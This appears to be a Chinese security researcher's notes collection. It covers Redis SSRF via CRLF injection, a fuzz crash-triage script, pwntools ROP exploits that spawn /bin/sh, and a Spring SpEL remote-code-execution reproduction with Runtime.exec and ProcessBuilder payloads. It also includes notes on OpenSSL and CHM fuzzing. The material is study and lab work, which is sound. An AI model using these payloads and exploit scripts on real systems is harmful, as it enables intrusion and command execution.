-ERR unknown command 'User-Agent:'
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
出现这样错误是因为http
协议的头数据都是通过\r\n
来分割的,redis解析这样的数据,所以就出现了上面的错误。如果想要通过http
数据利用redis,那么服务器端进行远程(或本地)请求的函数必须存在CRLF
这样http
头解析漏洞。
我根据数据报文格式和redis的通信协议,猜测redis就是解析tcp数据包,以
\r\n
即%0D%0A
为分割线,分割成各个命令,所以如果存在CRLF漏洞,那么可以直接将命令注入报文中,redis解析之后直接执行命令!
比如redis支持dict
协议
curl 'http://xx:6379/info'
curl 'http://xx:6379/config set dir /var/www/html'
ssrf在利用的过程中,经常会遇到某个应用"不支持"某种协议的情况,确切来说不是不支持,而是没有办法直接利用,举个例子,redis没有办法直接用http
请求进行相关操作,如果直接用的话,会遇到这样的情况
360识图ssrf:http://wooyun.chamd5.org/bug_detail.php?wybug_id=wooyun-2016-0229611
远程服务器脚本:
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
ssrf=> mysql 导致getshell:https://paper.seebug.org/510/
在遇到大量crash结果时,分析crash结果,归类crash结果,有时会耗费大量的时间,对于我来说,每天上班前,运行一下该脚本,有新类型的crash就分析一下,提交report,节省了我大量的精力和时间
#encoding:utf-8
# ====================================================
# python: 3.5+
# 处理fuzz crash脚本
# 执行: python3 handle-crash.py -h 查看帮助选项
# example:
# python3.exe handle-crash.py -f D:\FuzzProgram.exe --post_fix dwrite -i D:\fuzz_output
# version: 0.5.20211228
# ====================================================
import os
import glob
import lief
import json
import time
import signal
import shutil
import logging
import datetime
import argparse
import subprocess
from functools import partial
from multiprocessing import Pool
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
options = {}
debug_mode = False
# 调试器位置
debugger_x64_origin = "C:\\Program Files (x86)\\Windows Kits\\10\Debuggers\\x64\\cdb.exe"
debugger_x64_move = "D:\\Windows Kits\\10\\Debuggers\\x64\\cdb.exe"
debugger_x86_origin= "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\cdb.exe"
debugger_x86_move = "D:\\Windows Kits\\10\\Debuggers\\x86\\cdb.exe"
debugger_x64 = ''
debugger_x86 = ''
result_dir = 'result_jsons'
def prepare_debugger():
global debugger_x86, debugger_x64
if os.path.exists(debugger_x64_origin):
debugger_x64 = debugger_x64_origin
else:
debugger_x64 = debugger_x64_move
if os.path.exists(debugger_x86_origin):
debugger_x86 = debugger_x86_origin
else:
debugger_x86 = debugger_x86_move
def sendmail(content=''):
sender = 'xx'
passwd = 'xx'
mail_host = 'xx'
receiver = 'xx'
message = MIMEMultipart()
message['Subject'] = "[Crash Handle Finish]"
message['From'] = sender
message.attach(MIMEText(content))
try:
s = smtplib.SMTP_SSL(mail_host, 465)
# s.set_debuglevel(2)
s.login(sender, passwd)
s.sendmail(sender, receiver, message.as_string())
s.quit()
except smtplib.SMTPException as e:
pass
pass
class Logger(object):
def __init__(self):
"""
initial
"""
# log_path = logPath
logging.addLevelName(20, "INFO:")
logging.addLevelName(30, "WARNING:")
logging.addLevelName(40, "FATAL:")
logging.addLevelName(50, "FATAL:")
logging.basicConfig(level=logging.DEBUG,
# format="%(levelname)s %(asctime)s %(filename)s %(message)s",
format="%(levelname)s %(asctime)s %(message)s",
datefmt="%m-%d %H:%M:%S",
filename='HandleCrash.log',
filemode="a")
console = logging.StreamHandler()
console.setLevel(logging.DEBUG)
# formatter = logging.Formatter("%(levelname)s %(asctime)s %(filename)s %(message)s")
formatter = logging.Formatter("%(levelname)s %(asctime)s %(message)s")
console.setFormatter(formatter)
logging.getLogger("").addHandler(console)
def debug(self, msg=""):
"""
output DEBUG level LOG
"""
logging.debug(str(msg))
def info(self, msg=""):
"""
output INFO level LOG
"""
logging.info(str(msg))
def warning(self, msg=""):
"""
output WARN level LOG
"""
logging.warning(str(msg))
def exception(self, msg=""):
"""
output Exception stack LOG
"""
logging.exception(str(msg))
def error(self, msg=""):
"""
output ERROR level LOG
"""
logging.error(str(msg))
def critical(self, msg=""):
"""
output FATAL level LOG
"""
logging.critical(str(msg))
logger = Logger()
def init_fuzzer():
"""
Pool worker initializer for keyboard interrupt on Windows
"""
signal.signal(signal.SIGINT, signal.SIG_IGN)
# 根据调用栈最后两个函数判定类型 (Windows)
def get_crash_type_win32(stdout):
# 获取到crash type
decode_error = False
stdout_lines = []
# 是否需要解码
if type(stdout) == str:
stdout_lines = stdout.split('\n')
else:
# 对应数据为bytes
# 第一次尝试使用utf-8解码
try:
stdout_lines = stdout.decode().split('\n')
except UnicodeDecodeError:
decode_error = True
except Exception as ex:
logger.error(ex)
return None
# 第二次尝试使用ISO-8859-1解码
if decode_error:
try:
stdout_lines = stdout.decode(encoding='ISO-8859-1').split('\n')
except Exception as ex:
logger.error(ex)
return None
i = -1
get_RetAddr = False
for crash_data in stdout_lines:
i += 1
if "RetAddr" in crash_data:
get_RetAddr = True
continue
# 处理第一个调用栈就出错的特殊情况
# 0:000> k
# ChildEBP RetAddr
# WARNING: Frame IP not in any known module. Following frames may be wrong.
# 00 0019d3f8 65245480 0x8f3600c
# 01 0019d964 65238ad8 ECompositeViewer!DllCanUnloadNow+0x66890
if "WARNING" in crash_data and get_RetAddr:
i += 1
break
if "WARNING" not in crash_data and get_RetAddr:
break
if i == len(stdout_lines):
return None
crash_type = None
# 得出最后两个调用栈作为划分类型
if len(stdout_lines) > i and len(stdout_lines[i].split()) >= 3:
crash_type = stdout_lines[i].split()[2]
if len(stdout_lines) > i+1 and len(stdout_lines[i+1].split()) >= 3:
crash_type += ' -> ' + stdout_lines[i+1].split()[2]
return crash_type
# 比较新产生的漏洞类型,将老的删除
def compare_crash_types(crash_types, output_root_dir):
global options
# 将以前存储的崩溃类型json文件打开
result_json_file = os.path.join(result_dir, options.post_fix + '.json')
result_json = None
total_crash_types = {}
repeat_files = []
old_crash_types = []
# 判断路径是否存在
if not os.path.exists(result_dir):
os.mkdir(result_dir)
if os.path.exists(result_json_file):
result_json = json.load(open(result_json_file, ))
old_crash_types = result_json['crash_types']
# 删除已经存在的crash_type
for crash_type in old_crash_types:
if crash_type in crash_types:
# 将重复的数据统一处理
repeat_files.extend(crash_types[crash_type])
# crash_types.remove(crash_type)
del crash_types[crash_type]
# 求两次的并集
total_crash_types['crash_types'] = list(set(old_crash_types).union(set(crash_types)))
# 将重复的文件统一移动到repeated目录
repeat_dir = os.path.join(output_root_dir, "repeated")
if not os.path.exists(repeat_dir) and len(repeat_files) > 0:
os.mkdir(repeat_dir)
for repeat_file in repeat_files:
if not os.path.exists(repeat_file):
continue
if os.path.isdir(repeat_file):
continue
base_name = os.path.basename(repeat_file)
output_file = os.path.join(repeat_dir, base_name)
shutil.move(repeat_file, output_file)
# 把新旧数据重新写入json
with open(result_json_file, 'w') as fp:
json.dump(total_crash_types, fp)
# 将crash_types写入文件
def handle_crash_types(crash_types):
global options
output_root_dir = options.input_directory
uniq_crash_type_file = 'uniq_crash_{}_{}.log'.format(
(datetime.datetime.now()).strftime("%Y-%m-%d"),
options.post_fix)
compare_crash_types(crash_types, output_root_dir)
fp = open(uniq_crash_type_file, 'w')
for crash_type in crash_types:
if not crash_type:
continue
fp.write(crash_type + ':\n')
# 创建各种漏洞类型目录
output_dir = crash_type.replace(" -> ", "__")
output_dir = output_dir.replace("<", "(")
output_dir = output_dir.replace(">", ")")
output_dir = output_dir.replace("::", "#")
output_dir = os.path.join(output_root_dir, output_dir)
# 判断目标目录是否存在
if not os.path.exists(output_dir):
os.mkdir(output_dir)
for crash_file in crash_types[crash_type]:
if not os.path.exists(crash_file):
continue
if os.path.isdir(crash_file):
continue
base_name = os.path.basename(crash_file)
output_file = os.path.join(output_dir, base_name)
shutil.move(crash_file, output_file)
fp.write(" [+] {}\n".format(output_file))
fp.close()
# windows多进程处理
def crash_on_windows(input_file, options, debugger):
input_file = input_file.strip()
# 不处理目录
if os.path.isdir(input_file):
return (None, None)
try:
# 将crash文件数据写入特定文件
specific_file = None
if options.specific_file:
file_name, file_ext = os.path.splitext(options.specific_file)
specific_file = '{}_{}{}'.format(file_name, str(os.getpid()), file_ext)
with open(input_file, 'rb') as f:
fp_specific = open(specific_file, 'wb')
crash_file_data = f.read()
fp_specific.write(crash_file_data)
fp_specific.close()
else:
specific_file = input_file
except Exception as ex:
logger.error("bypassing file " + input_file)
return (None, None, None)
if debugger == None:
logger.error("No debugger found!")
exit(1)
process_out = None
if options.fuzz_args:
command = [debugger,
# "-y",
# "srv*c:\symbols*https://msdl.microsoft.com/download/symbols",
# "srv*c:\symbols",
"-c",
"g;g;g;kp 10;q",
options.fuzz_program,
options.fuzz_args,
specific_file]
else:
command = [debugger,
"-y",
"srv*c:\symbols*https://msdl.microsoft.com/download/symbols",
# "srv*c:\symbols",
"-c",
"g;kp 10;q",
options.fuzz_program,
specific_file]
if debug_mode:
logger.info(' '.join(command))
try:
wait_time = int(options.wait_time)
process_out = subprocess.run(command,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
timeout=wait_time)
except subprocess.TimeoutExpired:
return ('timeout', input_file)
except Exception as ex:
logger.exception("subprocess run with file: " + input_file)
crash_type = None
if process_out != None:
crash_type = get_crash_type_win32(process_out.stdout)
return (crash_type, input_file)
def main():
prepare_debugger()
if options.fuzz_args == None: # input "<space> -r" if dash in arguments
options.fuzz_args = ''
# 获取所有输入文件
files = []
files.extend(glob.glob(os.path.join(options.input_directory, '*'), recursive=True))
if len(files) == 0:
logger.error("No input files")
exit(1)
# 确定测试程序位数
debugger = None
pe = lief.parse(options.fuzz_program)
pe_bits = pe.header.machine.name
if pe_bits == "I386":
debugger = debugger_x86
else:
debugger = debugger_x64
# 开始测试
index = 1
crash_types = {}
thread_nums = int(options.threads)
pool = Pool(thread_nums, init_fuzzer)
logger.info('start review crash...')
for result in pool.imap_unordered(partial(crash_on_windows, options=options, debugger=debugger), files):
crash_type, input_file = result
if crash_type == None or \
input_file == None:
continue
file_basename = os.path.basename(input_file)
dst_file = os.path.join(options.input_directory, file_basename)
result_info = '{} ({}) ### {}'.format(index, crash_type, dst_file)
logger.info(result_info)
if crash_type not in crash_types.keys():
crash_types[crash_type] = [input_file]
else:
crash_types[crash_type].append(input_file)
index += 1
time.sleep(2)
# 写结果
logger.info('write data to file...')
handle_crash_types(crash_types)
uniq_types_count = len(crash_types.keys())
sendmail("type1: {}: {}".format(options.post_fix, uniq_types_count))
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-f", "--fuzz_program", help="fuzz program", required=True)
parser.add_argument("-a", "--fuzz_args", help="fuzz program arguments")
parser.add_argument("-i", "--input_directory", help="input files directory", required=True)
parser.add_argument("-t", "--threads", help="threads num", required=True)
parser.add_argument("-w", "--wait_time", help="windbg debug wait time", required=True)
parser.add_argument("--post_fix", help="output file post fix", required=True)
parser.add_argument("-s", "--specific_file", help="write crash file to a specific file")
options = parser.parse_args()
main()
result
文件就是常规的debugger
输出数据,可以作为对uniq
结果的参考,文件特别长,uniq
文件是最需要关注的,可以及时发现新出现的crash
,其中uniq
文件结果大概是这样的
windows输出结果
整个处理流程还在优化中,遇到特殊的crash结果,会及时更新
关掉整个系统的ALSR
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -fno-stack-protector -z execstack -o level1 level1.c
-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector
开启core dump功能
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
pwn 从入门到放弃:https://www.n0tr00t.com/2017/12/15/Linux-Pwn-Rumen~Fangqi.html
调试无符号elf文件:
radare2 案例:
https://jinyu00.github.io/2017/11/01/step_by_step_pwn_router_part8.html
cheatsheet:https://github.com/radare/radare2/blob/master/doc/intro.md
打印函数地址:
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0x7ffff7a52390 <__libc_system>
查找字符串
gdb-peda$ find CTF
Searching for 'CTF' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x400d21 ("CTF{Here's the flag on server}")
smashes : 0x600d21 ("CTF{Here's the flag on server}")
ELF的重映射:当可执行文件足够小的时候,他的不同区段可能会被多次映射。
smashes: 产生溢出异常,让溢出函数打印出flag,将flag地址铺满stack
vmmap 查看映射表
在调试的过程中,gdb中的vulfunction的地址并不一定是其真实运行的地址,需要将出错位置dump下来,之后查看shellcode地址
偏移位置:
pattern create 200
run
paste
pattern search 0xxxxxxx
esp => 偏移量
返回地址:
./level <= input_data
gdb level /tmp/core.xxx
x/10s $esp => esp 地址
各种保护机制绕过原理:
还可以这么理解:
write_addr - system_addr == write_addr_libc - system_addr_libc
a. 有libc.so的情况
b. 没有libc.so的情况 这里还需要分出64位程序的情况,寻找ropgadget
编写地址leak函数 => leak出system地址 => 找到.bss块地址/找到rop gadget地址 => send(‘/bin/sh\0’)
大概的流程是这样的
from pwn import *
elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048474
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
p = process('./level2')
#p = remote('127.0.0.1', 10002)
d = DynELF(leak, elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)
bss_addr = 0x0804a020
pppr = 0x804855d
payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input()
print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()
再看一遍 rop:https://segmentfault.com/a/1190000007406442
关键在于其原理
$1 = {<text variable, no debug info>} 0x7ffff784e390 <__libc_system>
libc : 0x7ffff7995d17 --> 0x68732f6e69622f ('/bin/sh')
➜ ldd 1
linux-gate.so.1 => (0xf7ffd000)
libc.so.6 => /lib32/libc.so.6 (0xf7e3a000)
/lib/ld-linux.so.2 (0x56555000)
再次运行ldd,
➜ ldd 1
linux-gate.so.1 => (0xf7ffd000)
libc.so.6 => /lib32/libc.so.6 (0xf7e3a000)
/lib/ld-linux.so.2 (0x56555000)
两次libc的基址一样也说明了主机没有开启ASLR,如果不同则主机开启ASLR
plt_write_addr = level2.plt['write']
ret_addr = 0x08048471 // vul_func_addr
got_write_addr_buf = level2.got['write']
payload1 = 'A' * 140 + p32(plt_write_addr) + p32(ret_addr)
payload1 += p32(1) + p32(got_write_addr_buf) + p32(4)
p.send(payload1)
write_addr = u32(p.recv())
# write_addr - system_addr = libc_write_addr - libc_system_addr
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
sh_addr = system_addr + next(libc.search('/bin/sh')) - libc.symbols['system']
payload = 'A' * 140 + p32(system_addr) + p32(ret_addr)
payload += p32(sh_addr)
p.send(payload)
p.interactive()
##libc.so不存在的情况
在不提供libc.so的情况下泄漏
from pwn import *
io = process("./3")
elf = ELF("./3")
offset = 92
def leak(address):
log.info("leak address =>{}".format(hex(address)))
payload = offset * 'a'
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['func'])
payload += p32(1)
payload += p32(address)
payload += p32(4)
io.send(payload)
io.recv(0x100)
ret = io.recv()
return ret
d = DynELF(leak, elf = ELF('./3'))
system_addr = d.lookup("system", "libc")
log.success("system address =>{}".format(hex(system_addr)))
动态链接的函数调用
第一次call write -> write_plt -> 系统初始化去获取write在内存中的地址 -> 写到write_got -> write_plt变成jmp *write_got
进阶总结 linux:http://pwdme.cc/2017/09/26/bypassing-aslr-dep-using-rop-return-to-dl-resolve-in-32-bit-system/
64位:http://yunnigu.dropsec.xyz/2016/11/21/pwn%E5%AD%A6%E4%B9%A0rop%E4%B9%8Bx64%E7%AF%87/
相对较为复杂的windows情况:http://www.arkteam.net/?p=443
Spring Framework 5.0 to 5.0.4
Spring Framework 4.3 to 4.3.14
搭建环境
git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
用ideal打开commplete
,将src/main/resources/app.js
的connect做如下修改
function connect() {
var header = {"selector":"new java.lang.ProcessBuilder('/Applications/Calculator.app/Contents/MacOS/Calculator').start()"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
}, header);
});
}
运行Application
,在网页端点击connect
,并发送数据,成功利用
首先看造成漏洞的代码
对java web层面安全比较熟悉的,一眼就能看出来是由expression
,getValue
,setValue
造成的代码执行,我这种菜鸟需要想一想了。
首先造成这种命令执行是由Spring的SPEL表达式造成的,熟悉struts2的很快就会想到OGNL造成的各种各样漏洞。SPEL是Spring专有的EL表达式,为了了解造成漏洞的底层原因,简单了解一下SPEL表达式
SPEL表达式的使用需要如下的支持
其中表达式支持非常多的语法,能够造成代码执行的有以下2种
类类型表达式
类类型表达式:使用“T(Type)”来表示java.lang.Class实例,“Type”必须是类全限定名,“java.lang”包除外,即该包下的类可以不指定包名;使用类类型表达式还可以进行访问类静态方法及类静态字段。
/java.lang包类访问
Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);
Assert.assertEquals(String.class, result1);
//其他包类访问
String expression2 = "T(cn.javass.spring.chapter5.SpELTest)";
Class<String> result2 = parser.parseExpression(expression2).getValue(Class.class);
Assert.assertEquals(SpELTest.class, result2);
//类静态字段访问
int result3=parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class);
Assert.assertEquals(Integer.MAX_VALUE, result3);
//类静态方法调用
int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class);
Assert.assertEquals(1, result4);
类实例化表达式
类实例化同样使用java关键字“new”,类名必须是全限定名,但java.lang包内的类型除外,如String、Integer。
public void testConstructorExpression() {
ExpressionParser parser = new SpelExpressionParser();
String result1 = parser.parseExpression("new String('haha')").getValue(String.class);
Assert.assertEquals("haha", result1);
Date result2 = parser.parseExpression("new java.util.Date()").getValue(Date.class);
Assert.assertNotNull(result2);
}
通过简单的了解,可以得出构造SPEL命令执行大概有两种方式
静态方法
...
org.springframework.expression.Expression exp=parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
...
new 对象
...
org.springframework.expression.Expression exp=parser.parseExpression("new java.lang.ProcessBuilder((new java.lang.String[]{'calc'})).start()");
...
现在再来看一下spring-boot-messaging实现中的代码
Expression expression = sub.getSelectorExpression();
if (expression == null) {
result.add(sessionId, subId);
} else {
if (context == null) {
context = new StandardEvaluationContext(message);
context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor());
}
try {
if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
result.add(sessionId, subId);
}
} catch (SpelEvaluationException var13) {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Failed to evaluate selector: " + var13.getMessage());
}
} catch (Throwable var14) {
this.logger.debug("Failed to evaluate selector", var14);
}
}
sub.getSelectorExpression()
得到selector的表达式Boolean.TRUE.equals(expression.getValue(context, Boolean.class))
获取表达式的值,从而造成命令执行。作为补充,这里也给出ONGL的命令执行表达式
getValue造成命令执行
...
OgnlContext context = new OgnlContext();
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')",context,context.getRoot());
...
setValue造成命令执行
...
OgnlContext context = new OgnlContext();
Ognl.setValue(new java.lang.ProcessBuilder((new java.lang.String[] {"calc" })).start(), context,context.getRoot());
...
首先说一下,根据我有限的知识,这个洞目前来看还没有办法进行批量利用,可能会有,但是我这种菜鸟是没发现。现在来说一下为什么不能批量利用。
为了能够理解下面的解释,需要一点点websocket的知识。webSocket协议提供了通过一个套接字实现服务器和客户端全双工通信的功能。websocket建立通信一般有两个过程
第一步,握手。握手的过程是通过http请求实现的
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com
可以发现这个请求比我们正常的http请求多了两个选项
Upgrade: websocket
Connection: Upgrade
这是跟服务器进行协商,我下一步需要使用websocket进行连接,允不允许。如果服务器允许会返回下列信息
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat
之后就可以使用websocket客户端和服务器进行愉快的websocket通信了。如果利用java的话,大概的通信流程是这样的
public class ServiceClient {
public static void main(String... argv) {
WebSocketClient webSocketClient = new StandardWebSocketClient();
WebSocketStompClient stompClient = new WebSocketStompClient(webSocketClient);
stompClient.setMessageConverter(new MappingJackson2MessageConverter());
stompClient.setTaskScheduler(new ConcurrentTaskScheduler());
String url = "ws://127.0.0.1:8080/hello";
StompSessionHandler sessionHandler = new MySessionHandler();
stompClient.connect(url, sessionHandler);
new Scanner(System.in).nextLine(); //Don't close immediately.
}
}
其中使用到了stomp协议,简而言之,websocket是底层协议,SockJS是WebSocket的备选方案,也是底层协议,而STOMP是基于websocket(SockJS)的上层协议。这里不懂也没关系,就是一种高层通信协议而已。
websocket通信'过程'特点:
从上面的分析可以知道,websocket既然没有安全验证,而且不受同源策略影响,那么是不是谁都可以来连接了。理论上是这样的,但是有一点我们需要注意,在建立连接前有一个握手的过程,这个握手的过程是有安全验证的。握手不通过是无法进行顺利通信的!在这里也就引伸出了一个安全问题websocket的劫持问题!这里就不详细介绍了,下面参考中有非常详细的介绍。
现在来分析spring-boot-messaging中websocket握手的过程是否进行了验证,为了测试写了如下代码,直接用浏览器打开代码文件
<html>
<head>
</head>
<script src="https://cdn.jsdelivr.net/npm/sockjs-client@1/dist/sockjs.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/stomp.js/2.3.3/stomp.js"></script>
<body>
<p> test </p>
</body>
</html>
<script>
select = 'test';
url = 'http://127.0.0.1:8080'
var ws = new SockJS(url);
var stompClient = Stomp.over(ws);
stompClient.connect({}, function(frame) {
stompClient.subscribe('/topic/greetings', function() {}, {
"selector": selector
})
});
</script>
结果
可以发现建立握手过程由于服务器端对http的头部Origin进行同源策略验证(根据Origin的概念,由浏览器发送,无法伪造),最终验证失败,所以从以上得出,以我有限的知识水平没法批量。
第一次分析java框架相关的漏洞,由于自己水,真心累啊=.=,水平有限难免有错,非常欢迎批评指正!
本文章已发表于安全客
原乌云文章
先知社区chybeta
勾陈安全实验室0c0c0f
表达式语言SpEL
知乎 websocket使用答案
springmvc 使用WebSocket 和 STOMP 实现消息功能
IBM websocket劫持漏洞
目前个人开发还是公司开发,都越来越集中到了远程开发中,vscode
目前也开始官方支持远程开发,并且释出了对应的插件,所以来简单的使用一下
vscode 稳定版本:1.36.1
安装插件
这个推荐使用git for windows
的ssh
,别的也不是不可以,只是这个配置和使用起来没有那么恶心
整个配置在win7虚拟机中完成
设置ssh
位置
生成密钥
将公钥发送到远程机器
查看,并更改权限
配置文件
连接测试
可以发现,成功连接
配置launch.json
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "gdb debug test",
"type": "cppdbg",
"request": "launch",
"program": "${workspaceFolder}/test",
"args": [],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
"externalConsole": false,
"MIMode": "gdb",
"setupCommands": [
{
"description": "Enable pretty-printing for gdb",
"text": "-enable-pretty-printing",
"ignoreFailures": true
}
],
"preLaunchTask": "Compile"
}
]
}
配置tasks.json
{
// See https://go.microsoft.com/fwlink/?LinkId=733558
// for the documentation about the tasks.json format
"version": "2.0.0",
"tasks": [
{
"label": "Compile",
"type": "shell",
"command": [
"g++ -g test.cc -o test"
],
"options": {
"cwd": "${workspaceRoot}/"
},
"problemMatcher": []
},
]
}
调试测试
实现远程调试
wsl
远程开发基本不需要配置
直接ctl+p
打开新窗口就会直接连接,之后选择打开的文件夹即可,如果需要调试的话,可以参考remote-ssh
的配置
官方的这几个插件真心好用
openssl
是一个非常重要的库,并且开源,针对其的fuzzing
测试也比较多,是一个非常好的学习fuzzing
的途径
下面列出搜集的使用fuzzing
方式测出的openssl
漏洞,之后对每个漏洞做专门分析
CVE | 说明 |
---|---|
CVE-2014-0160 | openssl HeartBleed (CVE-2014-0160) |
CVE-2015-1788 | Malformed ECParameters causes infinite loop (CVE-2015-1788) |
CVE-2015-3193 | miscalculation in OpenSSL's BN_mod_exp |
根据hackone
的说明,影响
OpenSSL 1.0.2 users should upgrade to 1.0.2b
OpenSSL 1.0.1 users should upgrade to 1.0.1n
OpenSSL 1.0.0d (and below) users should upgrade to 1.0.0s
OpenSSL 0.9.8r (and below) users should upgrade to 0.9.8zg
测试环境准备
git clone https://github.com/openssl/openssl
cd openssl
git checkout OpenSSL_1_0_1
CC=afl-gcc ./config no-ec2m
make
openssl 版本
/src/openssl# ./apps/openssl version
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
OpenSSL 1.0.1 14 Mar 2012
fuzzing测试代码
#include <stdio.h>
#include <stdint.h>
#include <stdio.h>
#include <assert.h>
#include <openssl/ec.h>
int main(int argc, char **argv)
{
unsigned char buf[1024];
assert(argc == 2);
FILE *f = fopen(argv[1], "rb");
assert(f);
size_t r = fread(buf, 1, 1024, f);
printf("read = %zu\n", r);
unsigned char *ptr = buf;
EC_GROUP *ecg = d2i_ECPKParameters(NULL, &ptr, r);
if (ecg)
EC_GROUP_free(ecg);
return 0;
}
编译
afl-gcc -I /root/openssl/include/ fuzzing_openssl.c -o fuzzing_openssl /root/openssl/libssl.a /root/openssl/libcrypto.a -ldl
效果
![1555596865313](openssl fuzzing学习.assets/1555596865313.png)
但是测试了几天都没有结果,做如下测试
# ./fuzzing_openssl input/broken-cert.der
read = 598
竟然没有进入无限循环,这个问题想了很多的办法,也测试了很长时间,但始终没有测试出来,不知原因
在xp
系统下windows
帮助文件格式为hlp
,在win7/win8/win10
下,微软升级了帮助文件格式,使用了chm
格式,这里引用维基百科上的说明
微软HTML帮助集,即编译的HTML帮助文件(英语:Microsoft Compiled HTML Help, CHM),是微软继承早先的WinHelp发展的一种文件格式,用来提供在线帮助,是一种应用较广泛的文件格式。因为CHM文件如一本书一样,可以提供内容目录、索引和搜索等功能,所以也常被用来制作电子书。
简单介绍一下背景,下面直接开干
涉及到chm
文件解析的windows 10
上文件主要有hh.exe
和hhctrl.ocx
,其中ocx格式把它当作dll格式即可,hh.exe
是打开chm
文件的主程序,hhctrl.ocx
中导出了解析chm
文件的主要函数。
根据MSDN
可以找到HtmlHelpA
函数定义
HWND HtmlHelpA(
HWND hwndCaller,
LPCSTR pszFile,
UINT uCommand,
DWORD_PTR dwData
);
根据其定义编写harness code
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#include <HtmlHelp.h>
typedef int(*PFN_HtmlHelpA)(HWND hwndCaller, LPCSTR pszFile, UINT uCommand, DWORD_PTR dwData);
int main(int argc, char **argv)
{
if (argc != 2) {
printf("Usage: %s input_file\n", argv[0]);
return 1;
}
HMODULE hLibHH = NULL;
PFN_HtmlHelpA pfnHtmlHelpA = NULL;
hLibHH = LoadLibraryA("C:\\Windows\\System32\\hhctrl.ocx");
if (hLibHH == NULL)
return 2;
pfnHtmlHelpA = (PFN_HtmlHelpA)GetProcAddress(hLibHH, "HtmlHelpA");
if (pfnHtmlHelpA != NULL)
{
pfnHtmlHelpA(NULL, argv[1], HH_DISPLAY_TOPIC, NULL);
pfnHtmlHelpA(NULL, NULL, HH_CLOSE_ALL, NULL);
}
return 0;
}
编译为release x64
版本,根据你的喜好,别的版本也没有任何问题
fuzz
之前我们最好使用drrun
观察一下其代码覆盖情况,这么做的原因在于,该做的都做了,没挣到钱,老婆孩子跟别人跑了,那不就悲剧了。所以姿势水平很重要,用drrun
跑一下
..\DynamoRIO\bin64\drrun.exe -t drcov -- TestHtmlHelp.exe D:\corpus\chm_corpus\0203cdd1b35e54a50a67277cdb7f727640fe140056cabbf456147d930ff01625.chm
看一下效果,姿势应该没啥问题
再看看代码覆盖数据
效果还行,可以接受,最小化一下输入语料就可以开始fuzz
了
C:\python27-x64\python winafl-cmin.py -D D:\Dropbox\fuzzing\DynamoRIO\bin64 -t 20000 -i D:\corpus\chm_corpus -o D:\Dropbox\fuzzing\TestHelp\chm_minset -covtype edge -coverage_module hhctrl.ocx -target_module TestHtmlHelp.exe -target_offset 0x1070 -nargs 2 -- TestHtmlHelp.exe @@
开始fuzz
afl-fuzz.exe -i D:\Dropbox\fuzzing\TestHelp\input -o output -S chm_slave_1 -D D:\Dropbox\fuzzing\DynamoRIO\bin64 -t 20000 -- -coverage_module hhctrl.ocx -target_module TestHtmlHelp.exe -target_offset 0x1070 -nargs 2 -- TestHtmlHelp.exe @@
如果真按照上面的这么做了,我们会发现,直接调用HtmlHelpA
的这种fuzz
方式,速度非常非常的慢,大概的exec speed
在0.1-0.5/s
之间,最多应该不会超过0.5
,一般稳定在0.2
左右,但是如果你说你机器多,cpu核数多,无所谓,那也可以,因为我测试了,即使是这么慢的速度,24小时以内也会fuzz
出几个crash
的。
但是我这种穷逼就不行了,最好是找到速度慢的原因,能够优化一下,那当然是好的了。简而言之就是需要提高姿势水平,下面来进行优化
具体原因我们去看一下HtmlHelpA
的代码
上图圈出来的代码
后两种无疑都是比较耗时的操作,com
